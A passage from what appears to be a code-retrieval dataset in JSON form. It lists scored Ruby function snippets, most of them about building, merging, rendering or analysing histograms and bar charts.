:max => max)\n # @overlap2_histogram = overlap2.histogram(10, :min => 0, :max => max)\n # @overlap_histogram_overall = overlap_overall.histogram(10, :min => 0, :max => max)\n\n # @interlibrary_loans_histogram = interlibrary_loans.histogram(10, :min => 0, :max => 61)\n # @interlibrary_loans_histogram_overall = interlibrary_loans_overall.histogram(10, :min => 0, :max => 61)\n\n # @circulation_histogram = circulations.histogram(10, :min => 0, :max => 40)\n # @circulation_histogram_overall = circulations_overall.histogram(10, :min => 0, :max => 1300)\n\n # @overlap1_histogram = overlap1.histogram()\n # @overlap2_histogram = overlap2.histogram()\n # @overlap_histogram_overall = overlap_overall.histogram()\n\n # @interlibrary_loans_histogram = interlibrary_loans.histogram()\n # @interlibrary_loans_histogram_overall = interlibrary_loans_overall.histogram()\n\n # @circulation_histogram = circulations.histogram()\n # @circulation_histogram_overall = circulations_overall.histogram()\n\n\n @overlap1_desc = DescriptiveStatistics::Stats.new(overlap1)\n @overlap2_desc = DescriptiveStatistics::Stats.new(overlap2)\n @interlibrary_loans_desc = DescriptiveStatistics::Stats.new(interlibrary_loans)\n @circulations_desc = DescriptiveStatistics::Stats.new(circulations)\n\n @overlap_overall_desc = DescriptiveStatistics::Stats.new(overlap_overall)\n @interlibrary_loans_overall_desc = DescriptiveStatistics::Stats.new(interlibrary_loans_overall)\n @circulations_overall_desc = DescriptiveStatistics::Stats.new(circulations_overall)\n\n \n @interlibrary_loan_items_overall_count = InterlibraryLoan.all.distinct.count(:oclc_number) + zero_interlibrary_loans\n @interlibrary_loan_overall_count = InterlibraryLoan.all.count\n\n @interlibrary_loan_items_count = interlibrary_loans.count\n @interlibrary_loan_count = interlibrary_loans.sum\n\n @circulation_items_overall_count = Circulation.all.distinct.count(:oclc_number) + zero_circulations\n @circulation_overall_count = Circulation.all.count\n\n @circulation_items_count = circulations.count\n @circulation_count = circulations.sum\n\n @overlap_items_overall_count = OverlapHolding.all.distinct.count(:oclc_number)\n @overlap_overall_count = ActiveRecord::Base.connection.execute(\"SELECT SUM(shared_by) FROM (SELECT * FROM overlap_holdings GROUP BY oclc_number)\")[0][0]\n\n @overlap1_item_count = overlap1.count\n @overlap1_count = overlap1.sum\n\n @overlap2_item_count = overlap2.count\n @overlap2_count = overlap2.sum\n\n end", "title": "" }, { "docid": "17f1a5e196594f2aeec9d67f5f7043dd", "score": "0.54923195", "text": "def to_s(columns=nil)\n\n #default to an 80 column terminal, don't support < 80 for now\n if nil == columns\n columns = 80\n else\n raise ArgumentError if columns < 80\n end\n\n #Find the largest bucket and create an array of the rows we intend to print\n disp_buckets = Array.new\n max_count = 0\n total = 0\n @buckets.each_with_index do |count, idx|\n next if 0 == count\n max_count = [max_count, count].max\n disp_buckets << [idx, to_bucket(idx), count]\n total += count\n end\n\n #XXX: Better to print just header --> footer\n return \"Empty histogram\" if 0 == disp_buckets.length\n\n #Figure out how wide the value and count columns need to be based on their\n #largest respective numbers\n value_str = \"value\"\n count_str = \"count\"\n total_str = \"Total\"\n value_width = [disp_buckets.last[1].to_s.length, value_str.length].max\n value_width = [value_width, total_str.length].max\n count_width = [total.to_s.length, count_str.length].max\n max_bar_width = columns - (value_width + \" |\".length + \"| \".length + count_width)\n\n #Determine the value of a '@'\n weight = [max_count.to_f/max_bar_width.to_f, 1.0].max\n\n #format the header\n histogram = sprintf(\"%#{value_width}s |\", value_str)\n max_bar_width.times { histogram << \"-\"}\n histogram << sprintf(\"| %#{count_width}s\\n\", count_str)\n\n # We denote empty buckets with a '~'\n def skip_row(value_width)\n sprintf(\"%#{value_width}s ~\\n\", \" \")\n end\n\n #Loop through each bucket to be displayed and output the correct number\n prev_index = disp_buckets[0][0] - 1\n\n disp_buckets.each do |x|\n #Denote skipped empty buckets with a ~\n histogram << skip_row(value_width) unless prev_index == x[0] - 1\n prev_index = x[0]\n\n #Add the value\n row = sprintf(\"%#{value_width}d |\", x[1])\n\n #Add the bar\n bar_size = (x[2]/weight).to_i\n bar_size.times { row += \"@\"}\n (max_bar_width - bar_size).times { row += \" \" }\n\n #Add the count\n row << sprintf(\"| %#{count_width}d\\n\", x[2])\n\n #Append the finished row onto the histogram\n histogram << row\n end\n\n #End the table\n histogram << skip_row(value_width) if disp_buckets.last[0] != bucket_count-1\n histogram << sprintf(\"%#{value_width}s\", \"Total\")\n histogram << \" |\"\n max_bar_width.times {histogram << \"-\"}\n histogram << \"| \"\n histogram << sprintf(\"%#{count_width}d\\n\", total)\n end", "title": "" }, { "docid": "9af6320c0ec17a974485332eab4d21fa", "score": "0.54914874", "text": "def merge! hist\n self.frequency.reserve(hist.size) # avoid repeated reallocation if growing\n for i in 0...hist.size\n freq = hist.frequency[i] # avoid calling swig for zero frequencies\n self.accumulate(i, freq) if freq > 0\n end\n self\n end", "title": "" }, { "docid": "2660c859ef6bbd66c7f65bd8b848aa72", "score": "0.5489488", "text": "def color_hist(fg, bg)\n img = number_colors > 256 ? quantize(256) : self\n\n begin\n hist = img.color_histogram\n rescue NotImplementedError\n warn 'The color_histogram method is not supported by this version '\\\n 'of ImageMagick/GraphicsMagick'\n else\n pixels = hist.keys.sort_by { |pixel| hist[pixel] }\n scale = HISTOGRAM_ROWS / (hist.values.max * AIR_FACTOR)\n\n histogram = Image.new(HISTOGRAM_COLS, HISTOGRAM_ROWS) do |options|\n options.background_color = bg\n options.border_color = fg\n end\n\n x = 0\n pixels.each do |pixel|\n column = Array.new(HISTOGRAM_ROWS).fill { Pixel.new }\n HISTOGRAM_ROWS.times do |y|\n column[y] = pixel if y >= HISTOGRAM_ROWS - (hist[pixel] * scale)\n end\n histogram.store_pixels(x, 0, 1, HISTOGRAM_ROWS, column)\n x = x.succ\n end\n\n histogram['Label'] = 'Color Frequency'\n return histogram\n end\n end", "title": "" }, { "docid": "783aaa8b13b8211e263adf751f280043", "score": "0.5471694", "text": "def initialize(low=nil, high=nil, width=nil)\n @count = 0\n @sum = 0.0\n @sum2 = 0.0\n @outliers_low = 0\n @outliers_high = 0\n\n # If the user asks we maintain a linear histogram where\n # values in the range [low, high) are bucketed in multiples\n # of width\n if (nil != low && nil != high && nil != width)\n\n #Validate linear specification\n if high <= low\n\traise ArgumentError, \"High bucket must be > Low bucket\"\n end\n\n if high - low < width\n raise ArgumentError, \"Histogram width must be <= histogram range\"\n end\n\n if 0 != (high - low).modulo(width)\n\traise ArgumentError, \"Histogram range (high - low) must be a multiple of width\"\n end\n\n @low = low\n @high = high\n @width = width\n else\n @low = 1\n @width = nil\n @high = to_bucket(@@LOG_BUCKETS - 1)\n end\n\n #Initialize all buckets to 0\n @buckets = Array.new(bucket_count, 0)\n end", "title": "" }, { "docid": "fbc36621ced184607f5342383b737ba0", "score": "0.546656", "text": "def setValue(low, high, value)\n # We should error check the information we have.\n @low = if low <= high then low else 0 end\n @high = if low <= high then high else 0 end\n @value = if low <= value && value <= high then value else 0 end\n # Determine the percentage of the given value.\n @percent = if @high == 0 then 0 else 1.0 * @value / @high end\n\n # Determine the size of the histogram bar.\n if @orient == CDK::VERTICAL\n @bar_size = @percent * @field_height\n else\n @bar_size = @percent * @field_width\n end\n\n # We have a number of variables which determine the personality of the\n # histogram. We have to go through each one methodically, and set them\n # correctly. This section does this.\n if @view_type != :NONE\n if @orient == CDK::VERTICAL\n if @stats_pos == CDK::LEFT || @stats_pos == CDK::BOTTOM\n # Set the low label attributes.\n @low_string = @low.to_s\n @lowx = 1\n @lowy = @box_height - @low_string.size - 1\n\n # Set the high label attributes\n @high_string = @high.to_s\n @highx = 1\n @highy = @title_lines + 1\n\n string = ''\n # Set the current value attributes.\n string = if @view_type == :PERCENT\n then \"%3.1f%%\" % [1.0 * @percent * 100]\n elsif @view_type == :FRACTION\n string = \"%d/%d\" % [@value, @high]\n else string = @value.to_s\n end\n @cur_string = string\n @curx = 1\n @cury = (@field_height - string.size) / 2 + @title_lines + 1\n elsif @stats_pos == CDK::CENTER\n # Set the lower label attributes\n @low_string = @low.to_s\n @lowx = @field_width / 2 + 1\n @lowy = @box_height - @low_string.size - 1\n\n # Set the high label attributes\n @high_string = @high.to_s\n @highx = @field_width / 2 + 1\n @highy = @title_lines + 1\n\n # Set the stats label attributes\n string = if @view_type == :PERCENT\n then \"%3.2f%%\" % [1.0 * @percent * 100]\n elsif @view_type == :FRACTIOn\n \"%d/%d\" % [@value, @high]\n else @value.to_s\n end\n\n @cur_string = string\n @curx = @field_width / 2 + 1\n @cury = (@field_height - string.size) / 2 + @title_lines + 1\n elsif @stats_pos == CDK::RIGHT || @stats_pos == CDK::TOP\n # Set the low label attributes.\n @low_string = @low.to_s\n @lowx = @field_width\n @lowy = @box_height - @low_string.size - 1\n\n # Set the high label attributes.\n @high_string = @high.to_s\n @highx = @field_width\n @highy = @title_lines + 1\n\n # Set the stats label attributes.\n string = if @view_type == :PERCENT\n then \"%3.2f%%\" % [1.0 * @percent * 100]\n elsif @view_type == :FRACTION\n \"%d/%d\" % [@value, @high]\n else @value.to_s\n end\n @cur_string = string\n @curx = @field_width\n @cury = (@field_height - string.size) / 2 + @title_lines + 1\n end\n else\n # Alignment is HORIZONTAL\n if @stats_pos == CDK::TOP || @stats_pos == CDK::RIGHT\n # Set the low label attributes.\n @low_string = @low.to_s\n @lowx = 1\n @lowy = @title_lines + 1\n\n # Set the high label attributes.\n @high_string = @high.to_s\n @highx = @box_width - @high_string.size - 1\n @highy = @title_lines + 1\n\n # Set the stats label attributes.\n string = if @view_type == :PERCENT\n then \"%3.1f%%\" % [1.0 * @percent * 100]\n elsif @view_type == :FRACTION\n \"%d/%d\" % [@value, @high]\n else @value.to_s\n end\n @cur_string = string\n @curx = (@field_width - @cur_string.size) / 2 + 1\n @cury = @title_lines + 1\n elsif @stats_pos == CDK::CENTER\n # Set the low label attributes.\n @low_string = @low.to_s\n @lowx = 1\n @lowy = (@field_height / 2) + @title_lines + 1\n\n # Set the high label attributes.\n @high_string = @high.to_s\n @highx = @box_width - @high_string.size - 1\n @highy = @field_height / 2 + @title_lines + 1\n\n # Set the stats label attributes.\n string = if @view_type == :PERCENT\n then \"%3.1f%%\" % [1.0 * @percent * 100]\n elsif @view_type == :FRACTION\n \"%d/%d\" % [@value, @high]\n else @value.to_s\n end\n @cur_string = string\n @curx = (@field_width - @cur_string.size) / 2 + 1\n @cury = @field_height / 2 + @title_lines + 1\n elsif @stats_pos == CDK::BOTTOM || @stats_pos == CDK::LEFT\n # Set the low label attributes.\n @low_string = @low.to_s\n @lowx = 1\n @lowy = @box_height -2 * @border_size\n\n # Set the high label attributes.\n @high_string = @high.to_s\n @highx = @box_width - @high_string.size - 1\n @highy = @box_height - 2 * @border_size\n\n # Set the stats label attributes.\n string = if @view_type == :PERCENT\n then \"%3.1f%%\" % [1.0 * @percent * 100]\n elsif @view_type == :FRACTION\n \"%d/%d\" % [@value, @high]\n else @value.to_s\n end\n @cur_string = string\n @curx = (@field_width - @cur_string.size) / 2 + 1\n @cury = @box_height - 2 * @border_size\n end\n end\n end\n end", "title": "" }, { "docid": "bc36e6bfac0691a436e2065b75d3e489", "score": "0.546482", "text": "def histogram(lookback)\n histo = Hash.new\n key = [@@start_token] * lookback\n get_text.each do |char|\n ((histo[key.clone] ||= { })[char] ||= 0)\n histo[key.clone][char] += 1\n key.push(char).shift\n end\n histo\n end", "title": "" }, { "docid": "6aefe298dd9f8bc66dce49673dfce4c7", "score": "0.54575765", "text": "def histogram(series, control, buckets=10, agg=\"add\", *args)\n each_subseries_in series, control do |name, subseries|\n new_subseries = {}\n bucket_counts = {}\n\n # rely on request timestamps provided in control - especially with counters,\n # there will be variable numbers of samples available so ranges will be inconsistent\n min_ts = control[:start_ts]\n max_ts = control[:end_ts]\n\n range = max_ts - min_ts\n bucket_usecs = (range / buckets).floor\n\n # initialize the buckets - all buckets should exist in output\n 0.upto(buckets-1).map do |bucket|\n key = min_ts + bucket * bucket_usecs\n new_subseries[key] = 0\n bucket_counts[key] = 0\n end\n\n bucket = min_ts\n subseries.keys.sort.each do |ts|\n # advance to the next bucket if necessary\n until ts.between?(bucket, bucket + bucket_usecs - 1) do\n bucket = bucket + bucket_usecs\n end\n\n new_subseries[bucket] = new_subseries[bucket] + subseries[ts]\n bucket_counts[bucket] = bucket_counts[bucket] + 1\n end\n\n case agg\n when \"avg\"\n new_subseries.keys.each do |bucket|\n if bucket_counts[bucket] > 0\n new_subseries[bucket] = new_subseries[bucket] / bucket_counts[bucket]\n end\n end\n when \"cnt\"\n new_subseries.keys.each do |bucket|\n new_subseries[bucket] = bucket_counts[bucket]\n end\n when \"add\"\n # nothing to do for \"add\", it's already done\n end\n\n new_subseries\n end\n end", "title": "" }, { "docid": "33c4475b1b6e99195fdbbc4be12da07f", "score": "0.54544765", "text": "def histogramer(str)\r\n arr = str.split(//)\r\n storage = {}\r\n for x in arr\r\n if(x != \" \")\r\n storage[x]==nil ? storage[x]=\"*\": storage[x]+=\"*\"\r\n end\r\n end\r\n return storage\r\nend", "title": "" }, { "docid": "44c15523fd376aa28a7d360f6ebce364", "score": "0.5384797", "text": "def calculate (bs, ap, buffer)\r\n\t\tpair_key = \"#{bs}-#{ap}\"\r\n\t\t@price_histogram[pair_key] = {} if !@price_histogram[pair_key]\r\n\t\t@price_histogram_topx[pair_key] = [] if !@price_histogram_topx[pair_key]\r\n\t\t\r\n\t # age histograms\r\n\t @price_histogram[pair_key].each do |k,v|\r\n\t \t@price_histogram[pair_key][k] = v * ap\r\n\t end\r\n\t # age histograms in top10 list\r\n\t @price_histogram_topx[pair_key].each do |t|\r\n\t \tt[1] = t[1] * ap\r\n\t end\r\n\t \t\r\n\t # calculate which bucket in the histogram the price belongs to\r\n\t bucket = (buffer[P].close / bs).to_i * bs\r\n\t # increase the bucket counter\r\n\t @price_histogram[pair_key][bucket] = (@price_histogram[pair_key][bucket] ? @price_histogram[pair_key][bucket] : 0) + 1\r\n\t\t# if the bucket belongs to the top10 list, increase the counter there too\r\n\t\tcorrected = false\r\n\t\t@price_histogram_topx[pair_key].each do |t|\r\n\t\t\tif t[0] == bucket\r\n\t\t\t\tt[1] = @price_histogram[pair_key][bucket]\r\n\t\t\t\tcorrected = true\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# add the bucket to the top 10 (if we haven't increased an existing one)\r\n\t\tif !corrected\r\n\t\t\t@price_histogram_topx[pair_key].push([bucket,@price_histogram[pair_key][bucket]])\r\n\t\tend\r\n\t\t# re-sort the top10 prices by counter\r\n\t\t@price_histogram_topx[pair_key] = @price_histogram_topx[pair_key].sort_by { |k| -1 * k[1] }\r\n\t\t# chop off the last element to keep top10 array at the right length\r\n\t\tif @price_histogram_topx[pair_key].count > 10\r\n\t\t\t@price_histogram_topx[pair_key].pop\r\n\t\tend\r\n\t\t\r\n\t\t# is there a signal? compare current & previous bucket...\r\n\t\tbucket_current = (buffer[P].close / bs).to_i * bs\r\n\t\tbucket_previous = (buffer[P-1].close / bs).to_i * bs\r\n\t\t# ... if exiting a top10 bucket and entering a regular one - we have a signal!\r\n\t\tif bucket_current != bucket_previous && @price_histogram_topx[pair_key].map{ |t| t[0] }.include?(bucket_previous) && !@price_histogram_topx[pair_key].map{ |t| t[0] }.include?(bucket_current)\r\n\t\t\tif bucket_current > bucket_previous\r\n\t\t\t\treturn \"b\"\r\n\t\t\telse\r\n\t\t\t\treturn \"s\"\r\n\t\t\tend\r\n\t\telse\r\n\t\t\treturn \"h\"\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "7d63d32955a7d94853116006782e938a", "score": "0.5369926", "text": "def alpha_hist(freqs, scale, fg, bg)\n histogram = Image.new(HISTOGRAM_COLS, HISTOGRAM_ROWS) do |options|\n options.background_color = bg\n options.border_color = fg\n end\n\n gc = Draw.new\n gc.affine(1, 0, 0, -scale, 0, HISTOGRAM_ROWS)\n gc.fill('white')\n\n HISTOGRAM_COLS.times do |x|\n gc.point(x, freqs[x])\n end\n\n gc.draw(histogram)\n histogram['Label'] = 'Alpha'\n\n histogram\n end", "title": "" }, { "docid": "30a3db94bbaf2e4c52ab1d683f7e9d77", "score": "0.52946913", "text": "def multi_histo_results(company_id)\n histo = Hash.new\n self.options.split(',').each do |option|\n histo[option] = self.get_answers(company_id).select { |a| a.content == option }.count\n end\n results = []\n #check if its a tie\n if histo.values.uniq.count <= 1\n results << \"Equal\"\n else\n results << histo.max_by{|k,v| v}[0]\n end\n results << histo\n results\n end", "title": "" }, { "docid": "3e0d9f3d22477d34d0c124e0b0699d46", "score": "0.5286936", "text": "def get_histogram(name:, delta: nil)\n {\n method: \"Browser.getHistogram\",\n params: { name: name, delta: delta }.compact\n }\n end", "title": "" }, { "docid": "af2e6f53a604e19416531f723119cb18", "score": "0.52809685", "text": "def bin_status\n rows = []\n\n # loop through to find all available bin space\n self.bins.each do |bin|\n rows << [bin.type, \"#{bin.bin_level}%\"]\n end\n # Drawing and styling the table\n table = Terminal::Table.new :rows => rows\n table = Terminal::Table.new :title => ' Your available bin space '.light_white.on_light_red, :headings => ['Bin type'.light_white, 'How much used'.light_white], :rows => rows, :style => {:width => 100, :padding_left => 1, :border_x => \"=\"}\n\n puts table\n end", "title": "" }, { "docid": "54470ca413c696bb17d4209264c0ce02", "score": "0.5272969", "text": "def empty_bins\n bins.inject({}) { |bins, bin| bins[bin] = 0; bins }\n end", "title": "" }, { "docid": "9ef1aea3d7561a88b60a871cc6012db7", "score": "0.5250606", "text": "def bar_graph(hash, title, filename)\n graph = Gruff::Bar.new\n graph.title = title\n graph.spacing_factor = 0.2\n\n hash.each do |name, runs|\n graph.data(name, runs)\n end\n graph.write(filename)\nend", "title": "" }, { "docid": "4492d7d4dec6869db660c319f9212ab8", "score": "0.5229203", "text": "def hash\n [ axis_color , axis_position , bar_border , bar_fill_type , color , direction , max_cfvo , max_length , min_cfvo , min_length , negative_bar_format , show_value ].hash\n end", "title": "" }, { "docid": "00591b84dc60260a36bdffa8428ffdab", "score": "0.52221453", "text": "def output_bins=(value)\n @output_bins = value\n end", "title": "" }, { "docid": "27f65e2695e74282c71312d47a6eb438", "score": "0.5221806", "text": "def output_bins\n return @output_bins\n end", "title": "" }, { "docid": "4a4eb798b7dada74dae6e8df49fc6713", "score": "0.51989347", "text": "def datatable(chroms, titles)\r\n # Create 2d array of chromatograms, fill blanks and trnapose for CSV output\r\n table = Array.new\r\n raise \"mismatch length of chromatograms and titles!\" if chroms.size != titles.size\r\n\r\n max_chrom_length = (chroms.max { |chroma, chromb| chroma[0].size <=> chromb[0].size })[0].size\r\n chroms.each_index do |i|\r\n table.push([titles[i]] + chroms[i][0] + ([''] * (max_chrom_length - chroms[i][0].size))) # Title - x values - blank filling to the max chrom length in this plot\r\n table.push([''] + chroms[i][1] + ([''] * (max_chrom_length - chroms[i][0].size))) # blank - y values - blank filling\r\n end\r\n table = table.transpose\r\n return table\r\nend", "title": "" }, { "docid": "55f7f3632a8294bb06124fb20e354a6d", "score": "0.51881963", "text": "def graphs\n @final_load = []\n one_to_5_questions = Question.numerical_ids(current_user)\n one_to_5_questions.each_with_index do |question, n|\n series_data = Answer.sum_numerical_histogram(current_user,question)\n title = Question.find_by(id: question).content\n categories = ['1 Rating','2 Rating','3 Rating','4 Rating','5 Rating']\n @final_load << [series_data, title, categories]\n end\n yes_no_questions = Question.yes_no_ids(current_user)\n yes_no_questions.each_with_index do |question, n|\n series_data = Answer.sum_yes_no_histogram(current_user,question)\n title = Question.find_by(id: question).content\n categories = ['Yes','No']\n @final_load << [series_data, title, categories]\n end\n @final_load\n end", "title": "" }, { "docid": "6d77964607ef9c3f98763a815c9cf367", "score": "0.51859367", "text": "def used_bins\n [self.class.bin_sym]\n end", "title": "" }, { "docid": "d982f4ff2a794918d44b09467b4d04ba", "score": "0.5183691", "text": "def getHistogram(sort)\n\n\tif sort == nil\n\t\treturn\n\tend\n\n\thistoGram = {}\n\tvalues = {}\n\ti = 0\n\tj = 1\n\n\twhile j <= sort.length\n\t\tif sort[i] == sort[j]\n\t\t\tj+=1\n\t\telse\n\t\t\tif j - i > 1\n\t\t\t\t#more than 1 character in string\n\t\t\t\tvalues = {sort[i] => (j-i)}\n\t\t\t\thistoGram.merge!(values)\n\t\t\tend\n\t\t\ti = j\n\t\t\tj = i + 1\n\t\tend\n\tend\n\n\thistoGram = histoGram.to_h\n\n\treturn histoGram\n\nend", "title": "" }, { "docid": "b6ce3c2c59bd280b9dbaadeb07083657", "score": "0.5175058", "text": "def fetch_histogram(name, opts = {}, &block)\n fetch_metric(:histogram, name, opts, &block)\n end", "title": "" }, { "docid": "f5b967fb788bcd0225344e1ebb8738fb", "score": "0.516191", "text": "def plotRandHistogram(hist,out=nil)\n require 'gplot/Gnuplot'\n include Gnuplot\n\n xs,ys = hist\n\n plot = Plot.new(out)\n plot.title(\"random number generator histogram\")\n plot.xlabel(\"domain\")\n plot.ylabel(\"amount\")\n\n plot.draw(ArrayDataSet.new(ys, \"with\"=>\"point 3 3\", \"title\"=>nil, \"xgrid\"=>xs))\nend", "title": "" }, { "docid": "2f3d97f8468de16486ef6619094be66b", "score": "0.51499647", "text": "def bins\n @p.size - 1\n end", "title": "" }, { "docid": "41fafc847ba9561ad0338a38c04e8e6b", "score": "0.51495194", "text": "def init_bar(hash)\n @max = hash[:max]\n @min = hash[:min] if hash[:min]\n @perc = hash[:perc] == false ? false : true\n @variable = hash[:var]\n @default = 0 if @default.nil? && !hash[:not_initialize]\n @switch = hash[:sw] if hash[:sw] != nil\n @distance = hash[:distance].nil? ? 1 : hash[:distance]\n @bar_color = 1\n @bar_color = hash[:color] if hash[:color]\n end", "title": "" }, { "docid": "83952a5360b5b3345652148ef17baf92", "score": "0.5144884", "text": "def hist\n @hist = History.where(:asset_id => @asset)\n render layout: false\n end", "title": "" }, { "docid": "ec4e40710b1e00cb633aea089fa21f5f", "score": "0.51316595", "text": "def hash_to_hist(hhash)\n hhash.map{ |k,v| [k, v.size] }.to_h.sort_by{|k,v| v}.reverse.to_h\n end", "title": "" }, { "docid": "0c6fe28dd9a5651e48e2f55653e9d2ff", "score": "0.5117147", "text": "def savehist(hist, name) \n\thist_sort = {}\n\thist.each {|part, h|\n\t\thist_sort[part] = h.to_a.sort{ |a, b| b[1]<=>a[1]}\n\t\tFile.open(\"#{name}#{part}.txt\", \"w\") {|f| \n\t\t\thist_sort[part].each {|word, occurrence|\n\t\t\t\tf.print \"#{word} #{occurrence}\\n\"\n\t\t\t}\n\t\t}\n\t}\n\treturn hist_sort\nend", "title": "" }, { "docid": "7e907c3a71fa86fe80b724d43316f35e", "score": "0.5116124", "text": "def extract_and_parse_histogram\n raw_output = nil\n logger.info(\"Extracting histogram from #{file_name}\")\n benchmark(\"Extracted histogram from #{file_name}\") do\n raw_output = extract_histogram\n end\n logger.info(\"Parsing and saving histogram #{file_name}\")\n benchmark('Parsed and saved histogram') do\n # Store the Histogram as JSON (but saving as binary for performance)\n HistogramExtractor.parse_histogram(raw_output).to_json\n end\n end", "title": "" }, { "docid": "1809405dbc5b9033240b25dd298473b6", "score": "0.5105454", "text": "def get_histogram(features)\n return [] if features.empty?\n results = []\n #lower limit\n left = features.first.start - (features.first.start % 10)\n #upper limit\n right = features.last.end + (features.last.end % 10)\n #number of arrays\n start = left\n while start <= right\n results << [start, 0, 0]\n start += 10\n end\n features.each do |f|\n window = f.start - (f.start % 10)\n start_index = nil\n if window == left\n start_index = 0\n else\n start_index = (window - left) / 10\n end\n end_index = start_index + (((f.end - f.start) - ((f.end - f.start) % 10)) / 10)\n for index in start_index .. end_index\n break if index > results.length\n if f.strand.match(/\\+/)\n results[index][1] += 1\n else\n results[index][2] += 1\n end\n end\n end\n return results\n\n end", "title": "" }, { "docid": "3e5924ad7663fe2d09988915b43aa158", "score": "0.5090972", "text": "def initialize(sequence, arg = 10)\n @with_counts = false\n if arg.is_a?(Hash)\n bins = arg.fetch(:bins, 10)\n wc = arg[:with_counts] and @with_counts = wc\n else\n bins = arg\n end\n @sequence = sequence\n @bins = bins\n @result = compute\n end", "title": "" }, { "docid": "64921dc7fe3bd759635ddec68758ee87", "score": "0.5083855", "text": "def header_init(width)\r\n display_arr = Array.new(width)\r\n count = width -1\r\n display_arr.each_with_index do\r\n |x, y|\r\n display_arr[y] = count\r\n count = count - 1\r\n end\r\n return display_arr\r\nend", "title": "" }, { "docid": "218388b970fff044db65f8a47bf2ec42", "score": "0.5068097", "text": "def historial\n self.class.historial(self.id)\n end", "title": "" }, { "docid": "3e7d5fa2f6d584e13667a39f069cd051", "score": "0.50442344", "text": "def histogram(a_string)\n an_array = Array.new(a_string.length)\n ls_compact_string = a_string.delete(' ')\n an_array = ls_compact_string.downcase\n str_hash = Hash.new(0)\n for idx in 0..an_array.length\n item = an_array[idx]\n str_hash[item] += 1\n end\n return str_hash\nend", "title": "" }, { "docid": "17a01d1d4099798e1f0eb24596d7ca0c", "score": "0.50395703", "text": "def initialize()\n @buckets = []\n end", "title": "" }, { "docid": "d386c5ae7c76b56b503687e522daaf10", "score": "0.5038669", "text": "def test_histogram_min_and_max_with_fewer_buckets\n hist = ScoutApm::NumericHistogram.new(5)\n\n 10.times {\n (1..10).to_a.each do |i|\n hist.add(i)\n end\n }\n\n assert_equal 1.5, round(hist.quantile(0), 1)\n assert_equal 9.5, round(hist.quantile(100), 1)\n end", "title": "" }, { "docid": "af956b3a02085df85d7e13a3b2496aed", "score": "0.5034091", "text": "def initialize(data, opts=Hash.new)\n prov_name=(data.respond_to?(:name)) ? data.name : \"\"\n opts_default={\n :name=>_(\"Histograma (%s)\") % prov_name,\n :width=>400,\n :height=>300,\n :margin_top=>10,\n :margin_bottom=>20,\n :margin_left=>30,\n :margin_right=>20,\n :minimum_x=>nil,\n :maximum_x=>nil,\n :minimum_y=>nil,\n :maximum_y=>nil,\n :bins=>nil,\n :line_normal_distribution=>false\n }\n @opts=opts_default.merge(opts)\n opts_default.keys.each {|k| send(\"#{k}=\", @opts[k]) }\n @data=data\n end", "title": "" }, { "docid": "cf94d72c3bd1197dcde4d408b8b22bbd", "score": "0.5027371", "text": "def historico_mensal funcionario\n date = Time.now\n ano = date.strftime(\"%Y\")\n mes = date.strftime(\"%m\")\n data_inicio = Date.new(ano.to_i, mes.to_i, 1) - 5.month\n\n #consultar periodos anteriores a 6 meses\n extra_inicial = funcionario.horarios.where(\"hora_extra = ? and data < ?\", true, data_inicio).sum(\"total_horas\")\n compensado_inicial = funcionario.horarios.where(\"hora_extra = ? and data < ?\", false, data_inicio).sum(\"total_horas\")\n\n i = 0\n acumulado = 0\n lista_datas = {}\n totais_mensal = {}\n\n while i < 6 do\n data_fim = data_inicio + 1.month - 1.day\n\n if i == 0\n data = \"Meses anteriores\"\n else\n data = data_inicio.strftime(\"%m/%Y\")\n end\n\n extra = funcionario.horarios.where(\"hora_extra = ? and data between ? and ?\", true, data_inicio, data_fim).sum(\"total_horas\") + extra_inicial\n compensado = funcionario.horarios.where(\"hora_extra = ? and data between ? and ?\", false, data_inicio, data_fim).sum(\"total_horas\") + compensado_inicial\n saldo = extra - compensado\n acumulado = acumulado + saldo\n\n lista_datas[i] = [data, extra, compensado, saldo, acumulado]\n\n data_inicio = data_inicio + 1.month\n i += 1\n extra_inicial = 0\n compensado_inicial = 0\n end\n\n return lista_datas\n end", "title": "" }, { "docid": "59fa091452607ebf798fe5f3e0bcc4e4", "score": "0.502549", "text": "def barchart(*args)\n Bar.new(self, *args)\n end", "title": "" }, { "docid": "65b9842e79b9f8494f7b4dcc03b7cde6", "score": "0.50248414", "text": "def initialize(n_bins: 32)\n super()\n @params = { n_bins: n_bins }\n end", "title": "" }, { "docid": "cf2d6ccb4465d3deb848cf6cf62629dc", "score": "0.5014567", "text": "def mk_distribution(*args)\n flat = args.flatten\n raw = flat.first.is_a?(String) ? flat.first.split : flat\n\n hash = raw.each_with_object(Hash.new(0)) do |v, sum|\n sum[v] += 1\n sum\n end\n\n hash.to_a.map { |a, b| [b, a.to_f] }\n end", "title": "" }, { "docid": "cf2d6ccb4465d3deb848cf6cf62629dc", "score": "0.50127715", "text": "def mk_distribution(*args)\n flat = args.flatten\n raw = flat.first.is_a?(String) ? flat.first.split : flat\n\n hash = raw.each_with_object(Hash.new(0)) do |v, sum|\n sum[v] += 1\n sum\n end\n\n hash.to_a.map { |a, b| [b, a.to_f] }\n end", "title": "" }, { "docid": "48ce9201ef62aeddeddfd86856dc84b4", "score": "0.5008217", "text": "def output_distrib_normal(params)\n recursive_hash(params[:stat].to_h, params[:tabs], params[:sort_type])\n end", "title": "" }, { "docid": "da67a3f7fbbc81d67c7639b3f5b8e596", "score": "0.5006625", "text": "def recycle_bin_space\n recycle_bin_space = 0\n @bins.each do |bin|\n if bin.type == 'Recycle'\n recycle_bin_space = bin.bin_level.to_i + recycle_bin_space\n end \n end\n recycle_bin_space\n end", "title": "" }, { "docid": "346fa1bcf7d3913a704d534075b08c0c", "score": "0.5006409", "text": "def bar!(data, bar_color: :default, bar_width: :default,\n bar_gap: :default, bar_edge: :default, bar_edge_color: :default,\n bar_edge_width: :default)\n\n @active_subplot.x_range[0] = 0 if @active_subplot.x_range[0].nil?\n @active_subplot.x_range[1] = data.length if @active_subplot.x_range[0].nil?\n bar_gap = 0 if bar_gap == :default\n bar_width = 1 if bar_width == :default\n bar_edge_width = 0.03 if bar_edge_width == :default\n x_length = data.length * (bar_width + bar_gap) + bar_width + bar_edge_width\n @active_subplot.x_range[1] = x_length if x_length > @active_subplot.x_range[1]\n\n @active_subplot.y_range[0] = data.min if @active_subplot.y_range[0].nil?\n @active_subplot.y_range[1] = data.max if @active_subplot.y_range[1].nil?\n @active_subplot.y_range[0] = data.min if data.min < @active_subplot.y_range[0]\n @active_subplot.y_range[1] = data.max if data.max > 